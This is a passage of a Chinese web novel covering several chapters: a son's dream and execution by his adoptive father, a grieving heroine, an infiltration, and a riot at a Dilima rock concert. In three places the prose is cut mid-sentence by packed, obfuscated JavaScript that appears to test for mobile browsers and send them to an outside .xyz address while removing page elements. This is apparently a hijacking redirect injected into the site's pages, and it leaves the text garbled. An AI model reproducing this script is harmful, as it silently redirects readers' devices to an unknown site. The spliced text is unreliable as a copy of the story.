迟来的悔恨汇聚成脱轨的动车,从一早被埋下伏笔的起点,自她终于察觉真相开始,全力启动、全速冲向一个茫然无措、追悔莫及的刽子手。 就这么直接撞死她也好…… 如果她没有用掉蓝涡,如果她能对仓鸮手环中的假信息多一点怀疑,如果她不曾对那个人轻易分享…… 如果、如果、如果—— 回声就不会死! 全都怪她,全都怪她。 她以为她是谁?她不是面具,她是痴心,她没有那样的能力!她有什么资格承受他人的命运?!她怎么就这么自以为是,怎么就那么自信可以救下每一个人,怎么就那么相信自己的决策? 自责? 她也配吗? 如果不是她…… 如果没有她…… 为什么死的不是自己? 为什么死的是回声? “痴心、痴心!你还好吗?” 仓鸮一进来就见痴心用力抓挠着自己的手臂,指甲几乎要把肉扣下来。 失温的手从她腿上落下,痴心一个激灵回过神来。 3月38日4:44 干净的房间,三个看不清面孔的人。一位年长的家庭教师,一对年轻的兄妹。没有令人无法喘息的规矩教条,也没有冰冷的鼓励和隐藏在暗处的视线。 “天使点为贵族服务,孟氏家族更是四大家族之一,无论是小家族还是普通人,都要仰望少爷小姐,只因为孟氏的地位超群,你们就是特权。但是,少爷小姐是孟氏的公子千金,一言一行代表家族,你们表达自我的权利早已被剥夺了,你们也不能事事顺心如意。你们尚且不自由,普通人就没有自由可言。特权之下,是权力制定的规则,所有被拘束于规则下的人,就只是药田里的草,他们是为你们服务的,自由二字更是奢望。” “我明白了,如果我们……” 孟汲立刻打断妹妹孟瑄的发言:“可是老师,普通人没有家族荣誉需要维护,他们无须遵守那些家规,他们可以随意表达,明明他们应该比我们自由多了才是。” 家庭教师神色复杂地看向孟汲,沉默许久。 那眼神中有许多未曾开口就隐下的情绪,孟汲全都看懂了,但他只是装作无知的模样。 他不敢表现出任何一点多余的情绪。 最终,千言万语只是化作一声叹息。男人始终铭记着自己的身份是孟家的家庭教师,他无法多说什么,只得克制而无力地开口。 “大少爷,不被听见,也是一种不自由。” “您说得不对。”/“您说得不对,没有意义!” 兄妹二人异口同声。 他终于看清两人的脸,无名的家庭教师不知何时消失,但那小男孩的脸上满是疑惑。 他已经分不清究竟怎样的过去才是真实。但孟汲可以肯定的是,那时的男孩并不明白妹妹所谓没有意义是什么意思。 他的打断、他的提问、他的反驳都只是担忧最坏的可能性而做的掩饰。 如果孟家并没有放弃监视他们。 如果那些冰冷的视线只是以另一种方式隐藏起来。 他们仍处于令人不安的摄像中……35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16449337|185251||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 但他还没来的问清楚妹妹那四个字的解释,好像一个恍惚,干净宽敞的房间就变成了孟汲最为熟悉的模样—— 逼仄的房间、低沉的嗓音。 是他们的养父孟弈坐在皮椅阴影中,凉薄地喊着赫菲夫人,要她递来冰冷的银色匕首。 “孟汲,证明你的忠诚吧。你的妹妹萌生反叛之心,杀了她。” 然后是自撞刃口的纤细脖颈、驳杂的血迹、苍白的皮肤、涣散的瞳孔…… “她在替你作弊。孟汲,你也要背叛我吗?割下她的头颅,交给我。这是你方才犹豫不决、违背命令的惩罚。” ……无头的妹妹。 “很好,从今天起,你就是孟家准继承人。” 恶心、呕吐感、忍不住的反胃,伴随着长时间的耳鸣,如同溺水般的窒息,胸腔有什么压迫他无法喘气。 后背上如慈母般温柔的触觉轻轻地从上而下为他顺气。 冰冷而无机质感的声音带着诡异的柔情,和一点点不该存在的后怕与欣慰。 “大少爷,您做得很好。” 赫菲夫人在真心实意地宽慰他。 蹲在妹妹做的血泊中的男孩再也忍不住,眼泪涌出的感觉像是反向呛水,他伏在地上大声干呕起来。 所有想法归零,只在他脑海中留下徒劳的疑问:明明孟瑄也说了同样的话,为什么还是要死?是因为那四个字?什么没有意义? 男孩心底凭空出现一个声音。 他说,比较苦难没有意义。 未来的笑面虎缓缓趴在地上,用脸靠近一地鲜血,无声流泪。孟弈只靠这四个字就知道孟瑄有异心,他只是太傻,才被允许留下。既然如此,孟弈怎么可能将孟家交给自己? 他只是个挡箭牌而已。 醒来的景观如此熟悉、与梦中如此相似。 逼仄的房间…… 反应过来的孟汲连鞋都来不及穿,仓皇下床跑向房门,打开后却看到了等待已久的父亲站在门口。 背后投射的灯影如巨大的黑色斗篷罩在孟弈身上。观众一样的视线落在孟汲的脸上,但他的探究只停留在表层,他只是冷眼观赏孟汲的所有反应。 一股寒意从背后袭来,仿佛死神带来漆黑的终音。 严肃端庄的女人从房间内的夹板中缓缓踱步而出。 “您的衣装乱了,大少爷。” 低沉的嗓音…… 孟汲眼睁睁看着孟弈走进与梦中一般无二的狭小房间,坐到旧忆的观刑位。 他脸色苍白,手脚冰凉,寒气迅速爬上全身。睫毛上像结了层冰,冷得他不停颤抖。 他无比肯定这就是结束!连梦中的妹妹都回来警示!他摔下床仓皇逃脱的模样,像无头苍蝇被困在封顶的迷宫,而后在迷宫的出口,他看清自己即将死亡的真相。 孟弈并不在乎他幽深如海渊的恐惧。 他早已习惯于将人双手双脚捆绑在巨石上沉海的戏码,他向来如此。 他的控制与监视就是带着自己一路下坠的石块,他默许旁人拼尽全力挣扎求生的姿态只是为了欣赏。 37. 第三十五场 理想主义之殊9 他不在乎,他嘲弄。 孟弈只将他的恐惧当作取乐的对象。 好在……他也并不恐惧。 正是这样的真相让他坦然。 孟弈露出冰冷的微笑,言辞显得格外友好:“沃尔是个承受祖荫庇护的蠢货,手握上联那么多的权限竟然还不能随意引导群体意识,那群傻得可怜的人运气是不是太好了些?你觉得呢,孟汲?” “我见过底利马的孩子。他们有的是麻木空洞的朽木,有的是满口谎言的暴徒,有的是帮派行骗的工具,有的是四大家族的幼蛊。唯独,他们不是孩子……孟弈,这一切究竟有什么意义?如果有,为什么我找不到一点、看不到一点?” “那个叫孙林思的女犯还算可用。如果你拥有沃尔的权力,你该怎么处理?” 孟弈不屑一顾的态度击溃了孟汲最后的克制,他终于不再隐忍,怒目切齿地宣泄自己的情绪。 “疯子!混蛋!孟弈,你想做什么,你又要用你一贯的伎俩造神吗!卑劣的诱拐犯!” “她帮了我那么大的忙,我理应给她超越所有人的特权。” 孟汲惨笑着嘲讽。他从未如此冷静。他感觉自己像一面终于被打磨好的镜子,完完整整、清清楚楚地学会了那人的一切手段,也变得同样肮脏、面目可憎。 毕竟他们—— “哈哈然后呢,沾染du·品?虐待儿童?偷税漏税?水性杨花?随便一个缺点就把她抛进地狱,让那些被镇压的游民得以在她身上任意宣泄怒火?孟弈,沃尔不是蠢货,你也不过是一个变态的控制狂!” 情同父子。 “你的问题像沃尔的造神一样可笑:人们喜欢什么就不动脑子地吹捧什么,他以为这是让人们耽于娱乐,就不会有思想批判自己政绩的功过得失。沃尔的愚蠢并非在于他对矛盾转移一窍不通,他只是抓不住矛盾而已。 “孟汲,你一直以为我对你很失望,所以你会说出沃尔不是蠢货这样的笑话。你只是一个养子,一个挡箭牌,这么多年了,你还不明白吗?” 他知道,他当然知道。 从孟瑄死的那天,他就该什么都知道了。 “孟安才是你的亲生女儿,甚至在外露面的那个财政部部长只是一个替身……我知道,我们都是你留给她的挡箭牌,我早就知道了。”孟汲平静地咧嘴笑着,眼底一派冷漠。 “我早说过你就喜欢在无意义的事上浪费时间,如果你早有逃脱的目标,也许真有那么一丁点的可能离开。孟汲,你还不明白吗,我能给你孟家继承人的身份,也能给她父爱。” 孟汲被他口中的残酷真相震惊了。 他愣了半晌,才难以置信地将孟弈的话消化理解。 他怎么能这么风轻云淡地讲出这么禽兽的发言?! “你不仅骗我,也要骗你的亲生女儿?你明知道孟安从来没想过违逆你这个父亲!” 孟弈不以为意地哂笑着。仿佛在说,看吧,我早已说过你会对鸡毛蒜皮小事无差别共情的能力可笑至极。 “呵呵。上位者的给予是施恩,忠诚是基础。养这么多人不是为了底层人想要什么的——小角色只有顺从的选项。所以你同样幸运,不像你可怜的妹妹。我已经讲得如此直白,如果是孟瑄那丫头,她不用如此我费心。可惜她选错了立场。” 孟弈摇了摇头,语气带着说不出的惋惜。 “去你爹的!聪明人就应该从你所谓的无名小卒立场出发,脑子是用来造福社会的,不是为了帮你剥削普通人的!你这种禽兽根本不理解!” “赫菲,你就这样任由大少爷衣装凌乱吗?”孟弈皱了皱眉。 “是。” 孟家的行刑人提起那把熟悉的银色匕首,步履款款地向着自己照看、哦不,监视多年的孩子走去。 孟汲像是受了什么刺激,疯了般在狭小的行刑屋内四处逃窜,像无头苍蝇般乱撞、四处碰壁,只为了寻找一个迷宫的出口。 他一边疯跑一边发出刺耳的大喊大叫。 “赫菲。”孟弈不悦道。 “失礼了,大少爷。”赫菲夫人伸手逮住失智的孟汲。 “比较苦难没有意义,孟弈!制造苦难同样没有意义!!” 孟汲激烈地反抗,不停扑腾四肢向着赫菲进行无效击打。赫菲夫人无奈地将孟汲逼入墙角,抬手抽刀,毫不犹豫地割开他的脖颈。 撞于刃口的脖颈、驳杂的血迹…… 孟瑄完好地出现在他眼前,轻轻快快地喊了一声“哥”。 “别难过啦,其实你已经做的很好了,真的。” ????的????。 真挚的鼓励。 “哥,现在你知道我为什么要为你牺牲啦?我可没有怪过你哦!” ????、????、????、????、????。 殉道、延续、清醒、明确、决绝。 “嗯。”孟汲笑着拉起妹妹的手,“知道的。” “哎呀,多大人了还拉妹妹的手,恶不恶心!不是,孟汲,你真没给我找过找过嫂子啊?” 孟瑄见孟汲无辜地眨眼,翻了个白眼直接抽走了自己的手,飞快地向着远离孟汲的方向恣意奔跑。 孟汲踉跄两步,欢脱的小孟瑄欢脱地跑向远方,他看着她的背影,露出幸福的笑意。 跑了两步,孟瑄后知后觉停下来,一看孟汲还傻愣在原地,大字型挥起手来:“喂!快跟上,我等这么久很辛苦的好不好!你快点,真实的,磨磨唧唧慢死了!!” 她没有一个闪身消失在可怖的黑暗中,而是在山披上停下来等他。 “嗯!”孟汲笑着奔向孟瑄。 他不知道前方是什么,但没关系,这一次他会和妹妹一起。 疲惫的身躯逐渐缩小,古板严肃的小小背影取代了假笑着的玩世不恭之人,一路健康憧憬、肢体不大协调地飞奔。 少年们心中盛开出鲜花,就像二月天里的草长莺飞。 他们真实,完满。 他们熟知生命的真谛。 让“我”被听见,让我触碰“我”,让我成为“我”。 3月38日10:42沉金东痴心宅 “痴心,你还好吗?”仓鸮刚把殡仪馆的人送走,就转身 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16449338|185251||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 敲了敲门。 无人回应。 烙环的毒性太强了,医生到时已经太迟了。宣告死亡时,痴心异常沉默,连一滴眼泪都没掉。在那之后,痴心就再没有说过一句话,只是一个人坐在窗边发呆。 就连联系殡仪馆的人将回声带走送去停灵都是他干的。 仓鸮迟疑地踮着脚迈进门槛:“我进来一下?” 依旧无人回应。 仓鸮没办法,一边走进屋子一边解释:“他们整理遗物时发现了这个。我想着这个东西……还是应该交给你。” 说着,他把一个东西托到痴心面前。 她缓缓回神将目光聚焦。 仓鸮紧张地盯着痴心的反应。 看到巴掌大蓝绒盒的瞬间,她睫毛微颤,呼吸急促。 痴心抬手接过盒子,小心翼翼地掀起小小的盖子,柔软的布料在她指尖划过,盒中之物渐渐呈现在她眼中。 一枚雕花铜戒。 捏起戒指看到内圈“圣人之心”四字的那一刻,她的手指与戒指忽然隔了一层膜,口腔立刻泛起黄铜浓重的金属味。 紧接着是一阵高频的噪音,像抛光机打磨铜戒。 然后她看见了回声。 “啊!”仓鸮惊诧地接住戒指和盒子。 “痴心!痴心!” 他没想到痴心会因为这枚戒指被刺激到昏厥。 他手忙脚乱地把盒子放在一边,把人放倒在床上,调整了一个适宜休息的姿势。又一脸内疚地打开手环联系面具。 但无人回复。 仓鸮有些慌了。 神明的消息刚好发来。 3月38日10:57 【我要往海里加方糖】:痴心没事吧,我知道回声出事了。 【半拉苹果】:我把回声的戒指遗物拿给她,她晕倒了…… 【我要往海里加方糖】:啊? 【半拉苹果】:我联系面具,但是她还没回我…… 【我要往海里加方糖】:联系面具有什么用,联系医生啊!啊啊啊啊你等着,我这就暗示沃尔救人! 3月38日11:00 联邦的社交媒体已经因新一轮的爆料炸开锅。 十点半,有那身穿歌莎孤儿院工作制服的披发”知情护工“实名举报自己,神态躲闪、语序混乱、举止疯癫。短短半小时内视频被反复下架,词条快速攀升至热搜第一。尽管官方亲自下场关闭评论区,不停删除评论、封禁帐号,许多提前存档的视频仍暗流涌动,被人们四处传阅…… 一时私人帖的评论区民情激昂,人人高呼抵制上联区的口号。 3月38日11:14 赫菲抚摸过缓缓合上的处刑室门框,沉默地将匕首插进挂扣,敲开了孟弈的办公室。 “西奥已经处理了洛克斐幼子。告诉他们推迟孟汲死讯,通知歌莎将证据指向沃尔一个人。” “……” “有事直说,赫菲,你不是扭捏的人。” “家主……我是来向您请辞的……” 赫菲跪下,向孟弈递出染血匕首。 38. 第三十六场 迷宫的出口 3月38日10:26 面具和魏嘉禾分开后,再次出发去海弄。 赶路的时间不短,一来一回至少三个小时,早上从海弄到底利马,现在再回去,她今天一天至少要在路上耽误六个小时。不幸地是这是不得不进行的消耗,她在路上能做的事情其实不算多。 只能联系何朴嘱咐魏嘉禾的事情,再联系库莲交代了接下来她需要配合行动的所有注意事项。 处理完了所有待办事项,就只剩下亚富。 她已经把所有可以安排的事情都处理好了,剩下的时间虽然利用效率不高,却是她现在最适合试探的事情。 面具简单复盘了下计划:整理信息、小眯一会、解决午餐、到达亚富,验证猜想。 3月38日11:46 何朴突然给面具打了个电话,开门见山说:“我突然想起来的,你是不是没联系她?” 面具迟疑了一秒,意识到何朴是在说谁。 “事情太多,忘了。下午回来后再去吧,那时候帕利蒙拉没有时间关心她的事。” 睡眠不足确实容易影响判断…… “好,那我提前安排,晚点给你发消息。” 何朴在对面一顿长吁短叹“幸好打电话”之类的话,面具面无表情挂了电话。 ……被人打断睡眠,头痛。 她揉了揉太阳穴,没忍住又打了个哈气。 没关系的,这也是好消息,她还有新的人手用,就是需要细化一些流程。 她默默地在计划的“验证猜想”后加了一句: 回到沉金、转移治安局权限。 3月38日12:04 面具到达亚富园区。 整个园区只有机器人按固定路线执行定时巡逻任务,连个人影也没有,看起来冷清万分。松懈的安保让面具轻松找准机会启用拟态程序潜入其中,十分顺利地潜行进入了亚富的主楼。 楼道内和园区没什么两样,甚至更空荡,和凌晨的库莲研究院差不多。 面具熟稔地跟着一只不知道要干什么的机器人走进电梯里。 按着她查到的信息,康恩的办公室就在顶层42层,但是电梯只能到37层,剩下的楼层她得绕进楼梯间才行。 还没等她按下37层的按键,小机器人忽然用睿智的声线命令道:“42层。” 面具尤疑地看向摄像头。 这是发现她了? 她不打算在亚富浪费太多时间。 面具没有再多余按下37层的按键,一路跟着机器人到了42层下电梯。才一出门,她突然感到一阵眩晕,几乎要站不住身子。接着,视线里的景象出现重影,她开始难以控制自己的注意力。 身后传来不加掩饰的脚步声,面具本能地回头出拳,但速度与平常完全不同。来人轻松扣住面具手腕,同时撤步向下向后一拉,将面具砸在地板上。 脑袋混沌的同时,她甚至怀疑自己是不是忘了开拟态模式。 “砰!” 巨大的冲击力和血气让面具清醒了一些,她勉强唤醒大脑重新运转思考。 现在身体的状况像是中了药。她没潜入最高层多久,大概很早就中药了,量不算多,所以什么都没发现。以她身体的抗药性,想要达到这种效果需要从她一开始进入大楼、乃至园区就吸入药物,所以亚富的人早知道她要来。 空气里都是药雾。 面具立刻屏住呼吸,趁着对方懈怠的瞬间起身,一腿砸向敌人脖子的位置,转过身的一刻,她认出对方的身份。 亚富的创始人兼首席执行官——康恩。 康恩不慌不忙地后仰躲过面具的攻击,轻盈翻向身后,甚至没有带动什么空气流动。 她笑眯眯地看向地板。 提前撒好的显影剂清晰地暴露了面具的目的,脚印极快地不断凭空出现在更远处,面具的佯攻只是为了立刻离开亚富。 “动手。” 拳头从背后破空而来。 面具立刻下蹲,同时按住黑罗向上抹了把脸上的血,余光瞥向这个不知从哪里出现向她出拳的女人。 抓住她换拳的空隙,面具陡然向侧方撤去,顺势对着面前的空气反击。一声闷响的同时,面具转身提肘硬接侧后方重新对她出手的女人一拳,右手瞬间扣住对方肩膀,调整位置将人侧摔出去。 解决完突兀出现的两人,面具迅速观察四周。 这个位置已经可以突破三人的夹击,刚才又浪费了不少时间,当务之急是离开这里。 康恩依旧不急不缓地站在不远处,很明显面具仍想离开。 “海恩。” 面具甚至没来得及反应,在她起身的瞬间,有人在背后结结实实给了她一闷棍。 “好了,你们两个关闭拟态光屏吧。” 一阵极小的数据流声音后,面具倒地的位置边出现了三个面容一模一样的女人,她们分散站开,齐齐看向康恩。 其中手持水管的那个语气有些异样地抱怨:“好像底利马街头斗殴,我们还胜之不武。” 康恩没有回应:“带走。” 3月38日14:42 面具再醒来的时候,只觉得身体哪里都不协调。大脑运行缓慢,像是一台刚启动的机器,需要时间重新加载以前的信息。 她下意识看了眼手环的时间。 三个小时。 她失去了接近三个小时的意识。 面具闭上眼用力揉了揉眼睛,慢慢回想刚才发生了什么。 从底利马到海弄,她开启手环拟态模式潜入亚富调查。事实上她应该是从一开始就被亚富算计在内,这一点是怎么做到的还未可知。 然后是她被打晕。除了康恩以外,还有三个人,一个人出现在她面前,另外两个人应该也打开了拟态。三个人格斗水平都不低,就连亚富的创始人自己也并非善类。 虽然只是冰山一角,但是亚富团队的特性让她想到一个很匹配的单位。 执行能力一流、战斗能力优异、财富水平突出。 墨隧委托帮第一“执行人”,数据。 她愈发觉得亚富和底利马的墨隧脱不了干系。 最后的记忆停留在她被那个叫海恩的人一棍子敲晕失去 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16449339|185251||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 意识时。 面具仔仔细细检查了一遍自己身上有没有什么不对的地方。但是什么都没有,甚至连她头部的伤都好了。 那样亚富的行为就很耐人寻味了。 亚富这么做是为什么,如果联合起墨隧她能更好的得到答案,但是这样的猜测过于主观。 面具垂下眸子。 亚富的调查必须终止,不能再在这里浪费时间了,还有四十分钟就到何朴给她牵线见面的时间了,她得回沉金了。 路上,面具终于看到了仓鸮给她的大量消息。 洛克斐为了摊牌的前期准备的确很多,也很明显。 3月38日14:50 【Cover】:知道了,痴心怎样了。 【半拉苹果】:神明知道痴心状态后,直接让沃尔把痴心安排进医院了,现在在输液。医生说心肌没有问题,卧床休息、保持情绪稳定就可以了。 【Cover】:让她休息吧,我还有事情,现在没办法去看她。 【半拉苹果】:哦,痴心让我告诉你,回声最后嘴里一直在说尤利…… 【Cover】:尤利安,尤利安·洛克斐,沃尔的长子。他私下找孟弈是为了坑爹。 仓鸮看到信息瞪大了双眼。 【半拉苹果】:?面具,你还好吗,我怎么觉得你的状态也有些怪? 【Cover】:我没事。你照顾好痴心。接下来的安排我一个人就可以了。 新的消息很重要。 这是谜底。 她已经完全串起全局,接下来只剩验证。 面具给神明发去信息。 3月38日14:58 【Cover】:尤利安在主宅吗? 【我要往海里加方糖】:在的。 【我要往海里加方糖】:W、W夫人、长女长子,还有主家的几个人因为回声背叛的事下午在主宅开会。他们召集了团队调查泄密内容,配合出具应对办法。我能够在之后通过W拿到所有信息。 【我要往海里加方糖】:他们的心情都很好,现在在吃下午茶。底孩事件闹太大了,其他三家都已经向民众宣称立刻展开调查。上午K和W通话寻求帮助,W当时就看起来胜券在握。 【我要往海里加方糖】:CC……回声明明是他们的血亲,他们却好像没有受到一点影响。 【Cover】:嗯。 【我要往海里加方糖】:她怎么样了,你去看她了吗?不管怎么说,这个时候她肯定很需要陪伴,你一定要去看看她。 【Cover】:她更需要一个人静一静,即便陪伴也是你更合适。西奥的人在埃森看到的机械神明不是你,对吗? 【我要往海里加方糖】:嗯,不是我,我甚至还没出发,她就不让我去了。 【Cover】:我知道了。你继续留在他们身边,接近六点时,孟家和歌莎一定会反击洛克斐。届时他们要商量对策,盯紧尤利安动向,快结束通知我。 【我要往海里加方糖】:这件事还没完? 【我要往海里加方糖】:行吧,我知道了。 39. 第三十七场 联邦,祝好 3月38日17:37底利马北 生锈的遗存建筑零散分布在荒凉的土地上,热风炉的表面攀附着爬山虎,燃油机车被野生的石竹簇拥,野蛮又绚烂。那些遗迹正是底利马辉煌过的证明。尽管底利马大部分地方都已经变得混乱肮脏,这里仍时常有一小部分底利马人自发地前来收拾清理。 那是一些从心底希望重振底利马辉煌的人。 不为名利、不委强权、不畏死亡。 三百年里,他们改头换面无数次。组织起各种被下联绞杀的团队,再被无情打散;然后再重燃烈火,再一次分崩离析。 周而复始、乐此不疲。 底利马最缺少这样的人,也从未缺少过这样的灵魂。 旧时代的钢铁被前卫的青年们利用,搭上临时舞台基架,点亮耀目灯光。锈红色的台面、闪光的大屏、劣质的音响,一个乐队的热情融入高耸而复杂的工业遗迹,像是把过去的时间重新捡起。 废弃的空旷场地不再甘心作为观众,它已携手自由的人们走上舞台,接轨时代。 这是一场宣传已久的地下摇滚音乐会。 对于平均寿命只有八十出头的底利马人而言,摇滚音乐是带着他们一睹疯狂又炽烈之爱的伟大人造物。区别于联邦近二百五的寿命,毁灭二字本身就隶属于每一个来到底利马的个体——而这个数字甚至还是将底利马人统计在内计算而成的。 反抗本身不是年轻一代的专属,又或是……底利马的土地上,总是流淌着少年、青年的汗水与血水。 所有人都在某时某刻某地热血得像个孩子。 于是无论年龄、性别、帮派、出身……所有心存希望的人都一股脑地涌入这片简陋的舞台,随着主唱卖力地挥舞着手臂,高声欢呼,发泄着一切情绪。 一曲结束,人们尖叫着、灯光扫过的方向响起一阵阵口哨声。 他们忘情地呼喊、洒落感动的眼泪,仿佛他们活着本来就是在和时间赛跑,每一天都像从死亡那里偷来的一样。 乐队的主唱抬起手,示意人们安静。 鼓点、鼓点、鼓点,键盘开始垫音,贝斯及时加入…… 大屏骤然亮起,暗色的背景立刻被白底黑字的底利马文替代。乐队的主唱站在底利马舞台中心,取下麦克风,走到昂贵的大屏面前用力拍着身后滚动的字幕。 “同胞们!看看我的身后!那是底利马所有死去孩子的名字!从洛克斐接管联邦以来!这些孩子没有一个活过十岁!一个也没有! “而今天!就在今天凌晨!又有孩子死在了这片罪恶的土地!他们中最小的孩子只有四岁!却被阴谋与炮火吞没!死无全尸! “同胞们!这是毁灭与蜜糖并行的时代!我们要反抗!反抗四大家族的恐怖暴政!我们要向联邦开战!来吧!和我一起呐喊,让联邦听到!为了底利马!” 在台下人的眼中,他就是摇滚本身。 此刻,摇滚本身响彻整个底利马。 “为了底利马!”愤怒的人群鼓动着应和。 “打倒联邦!” 主唱激动地放肆高喊。 “打倒联邦!” 趁此群情激昂,主唱将手呈举杯状,又一次提高声音:“我要敬!自由的灵魂——” 音响突然被切断,一个声音突兀又急促:“都趴下!” “砰——砰——” 第一声枪响,从台下到台上。 主唱趴下的瞬间,背后的屏幕黑了一片。 第二声枪响,从他的头顶传来。 他抓着话筒,吓了一跳,回过头发现观众席仍站立的女人脑门留下一个明显的空洞,歪倒在地面。 “啊啊啊啊啊啊啊啊啊啊啊啊啊!” 没管台下的混乱,魏嘉禾拿着枪从舞台上方基架一跃而下,一脚踢翻鬼鬼祟祟从后台绕至台上的恐怖分子。那人手中的枪掉在地上,被魏嘉禾又一脚踢开。 不等对方反应,魏嘉禾鬼魅般近身,迅速提臂反制住男人,将膝盖顶在对方的肩膀上。 “砰——” 第三声枪响,女孩放下朝天开枪的手,微微侧头:“都闭嘴老实待在原地,踩踏到人我会开枪。” 大屏幕上,黑瘦的小女孩□□枯的头发遮住了大半张脸,只剩下一只沉冷的眸子好像盯着台下的每一个人。 台下的喧哗立刻消失了,受迫于武力恐吓的人们像一滴水融进海里那样迅速销声匿迹。 随处可见的交火让底利马人太懂得如何趋利避害,他们恨不得蜷缩起自己,只求不被波及。 演出现场一时间寂静无声,只剩下女孩冰冷沙哑的嗓音不断回荡在每个人心头,让人无端想起早已消失的一种自然奇观: 沙漠。 魏嘉禾冷冷地提起枪,黑洞洞的枪口慢悠悠从台下到台上绕了大半圈,确认台下所有人都听懂了这门简单的语言后,最终停在男人面前。 她背对着舞台,半跪在地上,目光冰冷。 “孟弈让你来的,对吗?”她关了扩音器问道。 “和你没关系!小丫头片子毛都没长齐也配质问你老……” “砰——” 第四声枪响,魏嘉禾粲然一笑:“在提克斯旁,你我不是敌人。” 她毫不顾忌地将人提起抗在肩上,黏湿温热的液体顺着枪子留下的血洞弄得她浑身上下到处都是,她一路扛着人飞快从侧面跳下舞台,沿途滴落一串曲折的血路。 只一个恍惚,她就迅速消失在夜色里。 主唱歌手愣愣地看着她的背影,着迷般失神。 他好像看到了一个已死的世界。 浩瀚星辰,溃然如漠。 她就是传说中夜晚的大漠。 他重新起身,拿起电吉他,握住这从天而降、粗粝又血腥的灵感,摇动拨片。 “毁灭!!!” 极端嗓犹如一声惊雷惊醒台下的观众。 场面更加沸腾,他们一起振臂高呼:“毁灭!!!” 「山海荒漠颠倒,沙丘上涨潮。」 「怒涛展开,惊雷噤声。」 「冷!峭!暴!烈!」 3月38日17:40 帕利蒙拉·歌莎正式公开腰链帮与沃尔之间的关系,大肆爆料底利马和洛克斐之间的勾结,宣称这场针对孩童 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3月38日17:46 军备处辅助人工智能负责汇总的监控大屏一时不停地运作着,监控室内一片狼藉,工作人员横七竖八地倒在各处。 监控屏的蓝光映亮一条特制黑罗,她的胳膊上搭着一件从实习生衣柜里翻到的深蓝西装,此时正站在屏幕前看着各区的游行实况,语气平静地与手环另一端通话。 “游行初具规模,响应速度过快,有人背后推动;可以派少量人力资源协助,仿生人再等等。” 「血色的土地需要尖啸,声嘶力竭、怒不可遏。」 「在失温前失衡,白月的心智瓦解于湮阨饥殍。」 3月38日17:48 甜美的女声通过手环传到监控室内:“部分区域爆发小型冲突,造成29名人员受伤,损失在可控范围内。” 「让我来告诉你!」 「我用结痂的喉咙告诉你!」 “可以下达指令了,菲娜。按你的想法安排,损失控制在25%以内,最终顺利镇压即可。” 「这是破晓的渗透!」 「这是破晓的渗透!」 “明白。” 「我要毁灭!」 面具捻了捻胳膊上的衣服。这是洛克斐的东西,实习生是沃尔好不容易安排进来的人,她还得去抓尤利安,这衣服能省很多事。 17:51,一道极为粗长的线性闪电猝不及防地横向劈开天幕,像一条带刺的银链横贯长空。 极度耀眼的白光在天上停留了接近1.3秒,几乎所有注意到的人都看清了它的模样。 接着,随着一声巨大的闷雷响彻整个联邦,本该六点下的暴雨提前倾盆而至。 「我要了结死去的世界!」 是时间了。 面具一甩西装,披在身上,抬步向外走去。 “联邦,祝好。” 40. 第三十八场 被命运剥夺的对错 3月38日17:52洛克斐家族内部会议 帕利蒙拉叛变、曝光洛克斐一事打得沃尔措手不及。他立刻针对曝光展开家族会议,索性主家人下午本就在主宅开会,一场及时雨又恰好地将人都拦在了庄园。 “针对帕利蒙拉的叛变,你们有什么好主意?” “将矛盾转移吧。不是有个叫魏嘉禾的底利马小丫头一手策划的这件事吗?让西奥派人把这小东西抓来再推出去就行了。洛克斐只是为了保护我们的同胞才会与最大的帮派沟通彼此和平相处。” 尤利安斜卧在椅背内翘着二郎腿,语气轻佻。 “不,帕利蒙拉投靠孟弈,她不会给我们机会澄清的。”海肯迪娅说道。 “呵呵,这很简单,母亲。”尤利安勾起唇角,“如果帕利蒙拉执意败坏洛克斐的名声,那就由洛克斐主导向底利马宣战,先出一部分钱和力证明洛克斐与底利马势不两立,绝无可能合作。这么大的消息,帕利蒙拉也没办法压下来。” 尤利安坐起身,指尖对碰,饶有兴致地环视了众人一圈:“父亲,我们得尽快做决定,这件事的热度太高了,街上已经有民众自发组织起游行,没有家族能够承受这样的民愤,当年……” “我知道,事不宜迟,就按尤利安说的宣布发布会时间。那贱民的事晚一些没关系,重要的是洛克斐需要立刻摆明立场。他们不想让我们得势,我们一定要自证!” “父亲说的是。”尤利安漫不经心地恭维着,瞥了一眼不发一言的西奥。 咱们这位大小姐不知道遇到什么事,从下午回来就沉默得不像样。 哎,他还以为自己的提议会被西奥那疯婆娘抬杠呢,亏他为今天准备那么久! 人要没个对手也挺无趣的吧? 3月38日18:00 提前而至的暴雨点燃了情绪的高峰,洛克斐“承受不住”民众压力,宣布明天9:00准时召开关于底利马的发布会。 面具收到神明提醒,穿着洛克斐的西装混入洛克斐私宅。 3月38日18:01 